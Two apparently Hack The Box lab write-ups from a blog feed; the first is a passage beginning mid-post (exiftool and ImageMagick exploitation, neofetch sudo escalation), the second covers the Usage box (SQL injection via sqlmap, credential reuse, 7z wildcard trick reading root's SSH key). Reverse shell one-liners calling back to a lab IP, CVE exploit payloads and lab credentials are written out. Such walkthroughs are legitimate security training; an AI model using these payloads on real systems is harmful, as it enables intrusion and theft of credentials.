&lt;p&gt;&lt;img src=&quot;attachments/5987f5e5cb30217b7e3993d47879790d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/01f854a004617668b58a7eb7dfc9c665.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This just appears to be a static website with nothing else here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/477ccf4f8d19a5f9e21261a90669c987.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ffuf&lt;/h3&gt;
&lt;p&gt;Using &lt;code&gt;ffuf&lt;/code&gt; I found another vhost:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fe1737bd8b7edc217b8b122d4c25d2e9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f11713701170abbfc420b2990ca7bf1e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;dev01.artcorp.htb&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/21574b661981136c9b041bec2b17d2d1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/488da8bf1d70afb61e85ec6d5fb9c49c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I uploaded a sample &lt;code&gt;png&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/78c066ca41a8a196645954fc0936ec52.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since the webserver runs on &lt;code&gt;php&lt;/code&gt; I tried to upload a webshell but got an error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a639ddf52afc60c084c148335c867e1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Time to do some manipulation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/747869a2e094d970d112193540b31d5f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I need to change both of these in order to actually achieve a result.&lt;/p&gt;
&lt;p&gt;I instead uploaded &lt;code&gt;sample.png&lt;/code&gt; first:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d763dfcb57238eb284efe49d3d52153e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And modified it during the intercept:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b7bece5567e43e3d2d4d8a8c5f176fe4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;However this still gave an error.&lt;/p&gt;
&lt;h4&gt;gobuster&lt;/h4&gt;
&lt;p&gt;I went ahead and did a directory enum:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cc57cec8f4b1f2e47364cebb340efa1f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This gave me a hit which also showed the tool that was doing all the work:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e51fc3edb8c983f35fd3991bd5172cd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It seems that &lt;code&gt;exiftool&lt;/code&gt; is the one responsible for showing the metadata.
This makes sense as the regular output for &lt;code&gt;exiftool&lt;/code&gt; looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/daf1b170a327e64ae4d5dec9fe5e4c1f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;exiftool&lt;/h3&gt;
&lt;p&gt;I started focussing on finding public exploits and CVE&apos;s:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/410138bd5ddb93ae3e7355ba93876ef7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like there&apos;s 2 of them &lt;code&gt;CVE-2021-22204&lt;/code&gt; &amp;amp; &lt;code&gt;CVE-2021-22205&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/44cf6f234757812da9ccbffbe0d3a75f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;CVE-2021-22204&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/264936af704f6aae35751e9d3001ef8a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s test it out.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# On the local machine
sudo apt install djvulibre-bin

# Create payload file with reverse shell
cat &amp;gt; payload
(metadata &quot;\c${system(&apos;bash -c \&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.8/443 0&amp;gt;&amp;amp;1\&quot;&apos;)};&quot;)

# Compress the payload
bzz payload payload.bzz

# Compile the file
djvumake exploit.djvu INFO=&apos;1,1&apos; BGjp=/dev/null ANTz=payload.bzz
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next up I crafted the config file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%Image::ExifTool::UserDefined = (
    &apos;Image::ExifTool::Exif::Main&apos; =&amp;gt; {
        0xc51b =&amp;gt; {
            Name =&amp;gt; &apos;HasselbladExif&apos;,
            Writable =&amp;gt; &apos;string&apos;,
            WriteGroup =&amp;gt; &apos;IFD0&apos;,
        },
    },
);
1; #end%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next up I inserted the payload into a random &lt;code&gt;jpg&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;exiftool -config configfile &apos;-HasselbladExif&amp;lt;=exploit.djvu&apos; sample.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ff42cf142e3e522d615ab469512cee04.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and uploaded the image file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b96ecf03e8f36a6ce78f411ebdc5068e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And checked my listener:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9085c277ef0ecd5f326989357906435e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;I started doing some enumeration&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3a26532858b7d3d27fd7e9f16217e075.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I had no permissions over the &lt;code&gt;user.txt&lt;/code&gt; flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e7e954531872683bb51716d2b958dfd5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Neither could I execute &lt;code&gt;sudo -l&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ee5d2116430d3a077ec194a57a44ccad.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;h3&gt;linpeas&lt;/h3&gt;
&lt;p&gt;I went ahead and uploaded &lt;code&gt;linpeas.sh&lt;/code&gt; in order to speed up my enum:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e505ac32d60b2973fd2da8768e175491.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8e0d09b67ef4b051f1c7e3d34fb2b3b4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2bbeb9039f4759059e0b9d85b6ace3aa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This might be promising.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/61f8c1daec61898702c4f8a33cb3831a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;pspy32&lt;/h3&gt;
&lt;p&gt;However &lt;code&gt;linpeas&lt;/code&gt; bugged out and wouldn&apos;t continue for some reason so I launched &lt;code&gt;pspy32&lt;/code&gt; to enumerate the running processes:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd761379cd2e8217f7b9358a32313b55.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I found the following processes running under the &lt;em&gt;thomas&lt;/em&gt; user:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e4ecb023eb56173429bf1c0e58eb325f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I checked out the permissions as well as the contents:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f5488c59d43433b0766ddc303b3ea387.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I didn&apos;t have write permissions unfortunately so I needed to go another way.&lt;/p&gt;
&lt;h2&gt;mogrify&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ba66c00aac9544eee8735d830936c42.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mogrify&lt;/code&gt; appears to be a part of the &lt;strong&gt;ImageMagick&lt;/strong&gt; toolset.&lt;/p&gt;
&lt;p&gt;In order to narrow down the results we can use the following command to find the current version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e7dbc0111b5a8695f91a111f1c90eec9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After some thorough searching I found the matching CVE:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b88a7b2e71ed3eee6e084e8a7103215b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;CVE-2020-29599&lt;/h2&gt;
&lt;p&gt;I found a related blogpost:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4ba20a22fcc828816db7160acca24408.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The poster goes in full detail of the CVE in &lt;a href=&quot;https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html&quot;&gt;his blog post&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a8e1aaa30b192281bd251b7244f5fc41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We find the PoC by scrolling down:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/60b28d0d36519c8de6e03c1c2243d529.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;image authenticate=&apos;ff&quot; `echo $(id)&amp;gt; ./out`;&quot;&apos;&amp;gt;
  &amp;lt;read filename=&quot;pdf:/etc/passwd&quot;/&amp;gt;
  &amp;lt;get width=&quot;base-width&quot; height=&quot;base-height&quot; /&amp;gt;
  &amp;lt;resize geometry=&quot;400x400&quot; /&amp;gt;
  &amp;lt;write filename=&quot;test.png&quot; /&amp;gt;
  &amp;lt;svg width=&quot;700&quot; height=&quot;700&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&amp;gt;       
  &amp;lt;image xlink:href=&quot;msl:poc.svg&quot; height=&quot;100&quot; width=&quot;100&quot;/&amp;gt;
  &amp;lt;/svg&amp;gt;
&amp;lt;/image&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then test the command out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8fb0ef627a24448026ff24d22dc343bc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since this worked I went ahead and created one with a reverse shell payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;image authenticate=&apos;ff&quot; `echo $(busybox nc 10.10.14.8 445 -e bash)&amp;gt; ./out`;&quot;&apos;&amp;gt;
  &amp;lt;read filename=&quot;pdf:/etc/passwd&quot;/&amp;gt;
  &amp;lt;get width=&quot;base-width&quot; height=&quot;base-height&quot; /&amp;gt;
  &amp;lt;resize geometry=&quot;400x400&quot; /&amp;gt;
  &amp;lt;write filename=&quot;test.png&quot; /&amp;gt;
  &amp;lt;svg width=&quot;700&quot; height=&quot;700&quot; xmlns=&quot;http://www.w3.org/2000/svg&quot; xmlns:xlink=&quot;http://www.w3.org/1999/xlink&quot;&amp;gt;       
  &amp;lt;image xlink:href=&quot;msl:poc.svg&quot; height=&quot;100&quot; width=&quot;100&quot;/&amp;gt;
  &amp;lt;/svg&amp;gt;
&amp;lt;/image&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Shell as thomas&lt;/h2&gt;
&lt;p&gt;I inserted the above payload and waited for a short while for the shell to trigger:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/34d23f3450e3c11cafe834d475332b5b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/378a9fb9aa90e9920483cb200c80922b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and copied the &lt;code&gt;id_rsa&lt;/code&gt; afterwards so I could log in via &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/05191f99af18b84720087870a1087dfc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a8ee9cbd047811ac6ab7d0dcca21b09.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c3c4b8776be6d87681b00f77c9fb48d2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;neofetch&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4b3963e94d48e4826b8813646f3b563e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately the &lt;code&gt;sudoers&lt;/code&gt; rule doesn&apos;t allow us to exploit it the GTFObins way:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d3001776dee6b2971f512f25a97d295.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;exec /bin/sh&apos; &amp;gt; .config/neofetch/config.conf 
XDG_CONFIG_HOME=~/.config sudo neofetch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2072a20fcf0071274cb106346e33a397.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::tldr
This works since we&apos;re not passing any arguments after the &lt;code&gt;neofetch&lt;/code&gt; command.
:::&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/37327ff72602dadc408360351294707c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f9a729ac1dd81822ab85eff403ad67a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Usage</title><link>https://maxk9999.vercel.app/posts/usage</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/usage</guid><pubDate>Mon, 27 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.18
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -p- -vvvv -T5 --min-rate=5000 -Pn usage.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Daily Blogs
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0721bd610838ee3248cb0b3531f550db.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I analyse the request right away in &lt;code&gt;burp&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d09ae9a8edd4399a75f4d6a920a163a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I take note of the &lt;code&gt;laravel_session&lt;/code&gt; inside the &lt;code&gt;Cookie&lt;/code&gt; header.&lt;/p&gt;
&lt;p&gt;Clicking on &lt;strong&gt;Admin&lt;/strong&gt; redirects us to the &lt;code&gt;admin.usage.htb&lt;/code&gt; vhost.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/cd9a95f2fc9adc6af30de4d84385ecfe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/adc10e4d35cde3d5d9b40460056044df.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7559c219e64ffbcf4da80a0c144b8436.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I tried to login using default creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0475e6911abd5bfc5b248131a11f325d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went back to the original site and registered for an account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/375afba5ae74661048fe4931584ba364.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And logged in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1a225bd92f11ebf1c4d2df32c285f541.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Other than that there&apos;s nothing here apart from some blogs.&lt;/p&gt;
&lt;h3&gt;SQLi&lt;/h3&gt;
&lt;p&gt;I tried some more functionalities as well as the &lt;strong&gt;Reset Password&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/304af7207cb39e862c8c4731327c9d24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried adding a &lt;code&gt;&apos;&lt;/code&gt; here and noticed the &lt;code&gt;500&lt;/code&gt; error, meaning it was probably susceptible to &lt;strong&gt;SQLi&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ffd3dcafade0d0461cb56825f435df15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4c73e499b2bbe41c9b50499918e04e29.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I confirmed this by adding &lt;code&gt;-- -&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/28d67da48878742c196253408898e29e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I copied the request and did some automated testing using &lt;code&gt;sqlmap&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f4c66545f94d81d5c36c8ab3c6ee587a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/169c68d913d7902a368bb65d25d78535.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It started dumping info extremely slow since it went with the &lt;strong&gt;time-based blind&lt;/strong&gt; payloads so I instead reran it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sqlmap -r req.txt --batch --level 5 --risk 3 --threads 10 --dbms=mysql -D usage_blog -T admin_users --dump  --skip _token
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c1202d38587e9b5d3aacb110c6708485.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Hash cracking&lt;/h3&gt;
&lt;p&gt;I went ahead and cracked the hash&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/983d4e6c6ffceb1b1d4d3699f6718ce3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/92a2599749988f5628e888d721085389.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
whatever1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;admin.usage.htb&lt;/h3&gt;
&lt;p&gt;We can now log in with the creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/09a31a9b1b253818f574ebf58fbb9708.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started looking for exploits:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/18ea4724083c52fb31e57a04ded7aab5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e3b5ec2f311d4ad44231384ec9bd24da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found the exploit &lt;a href=&quot;https://sploitus.com/exploit?id=2566E785-0AA3-54BD-994A-D636B5656220&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9fe64175e57572782fb643b7a6000261.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as dash&lt;/h2&gt;
&lt;p&gt;I followed the instructions and got a shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f6d2e709143c25a2ecab439656b1199f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ab331a7dde1abb698b889e855226733d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d2eb61cf7e985da9aec674aa4062a549.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Enumeration&lt;/h3&gt;
&lt;p&gt;I noticed one other user called &lt;em&gt;xander&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/89ab3a7b95a5f243d97c4bbe91428ee3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started looking around:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/433ede3debb1c0867c330f7d9aa1b52c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c96305a3cd99daa7b40467e389f39088.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;staff
s3cr3t_c0d3d_1uth
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I checked out whether &lt;code&gt;mysql&lt;/code&gt; was running:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2e5c2413a84232202ed49738b115f67f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But first I went ahead and enumerated my &lt;code&gt;/home&lt;/code&gt; directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f7c55ceca561c814c486f3f092578f1d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I copied over the &lt;code&gt;id_rsa&lt;/code&gt; and logged in via &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0b6388f3abeda9541743d1bb6cc0a3ce.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/60887b7a631651b746ec765b123b0fd3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I started checking further and found another set of creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/25f3eaa13b8f3454754c8d2050faac09.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
3nc0d3d_pa$$w0rd
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However in order to access this instance we need to create a port forward since it&apos;s only running on &lt;code&gt;localhost&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Port Forward&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/2668b1b379447750cb217e2cefc3f0a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1723e2df83fcf2069c2ad6bc9b331c22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e1039209ec342b018e5dff8583e7376c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can now use the found creds to log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/76a0dedf322987dccecc4b14be85c377.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e5de070a763f3cfa7e040d40e2994c46.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Monit&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5e9ea9b5c5c3f9ea12b56a20d041b009.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ec1db2545289d9e9f1d8f9ff53fd173b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was looking around to see whether this might be the path:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1c89e49c3124000dec2471833b76ea7f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But it looks like a completely different scenario so I skipped it.&lt;/p&gt;
&lt;h2&gt;usage_management&lt;/h2&gt;
&lt;p&gt;Instead I sprayed the password and it turns out the password is reused by &lt;em&gt;xander&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d501d21321008e9c2758663450a2e359.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It turns out &lt;em&gt;xander&lt;/em&gt; can run the &lt;code&gt;usage_management&lt;/code&gt; binary as &lt;em&gt;root&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/09f8b0376fb2387258a014c4b690d72b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The binary had 3 options:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7303c7bd43518049f971c53f77ed2ef2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8044a541b8537f48c304329f031d24b2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Since this is a custom binary we need to understand what&apos;s happening underneath, what better place to start than with &lt;code&gt;strings&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a363cc57c21cc920b68602d5abad5d93.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c107210fe203492029b788b59f670be9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We notice that it zips the &lt;code&gt;/var/www/html&lt;/code&gt; directory up using &lt;code&gt;7z&lt;/code&gt;. However we also notice the &lt;strong&gt;Wildcard&lt;/strong&gt; &lt;code&gt;*&lt;/code&gt; option at the end!&lt;/p&gt;
&lt;h2&gt;Wildcard Exploitation&lt;/h2&gt;
&lt;p&gt;From the &lt;code&gt;/var/www/html&lt;/code&gt; directory we can create the following linked file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;touch @tester; ln -fs /root/.ssh/id_rsa tester
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5a5f9c6ba95a79cdbb20d273b5d82871.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Upon execution we see the &lt;code&gt;id_rsa&lt;/code&gt; for &lt;em&gt;root&lt;/em&gt; being dumped:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7bf98358f8e39d59659632eca31eb556.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can copy the output and remove the &lt;code&gt;No more files&lt;/code&gt; lines and log in via &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a080755edf795822814e9bc412584cbc.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
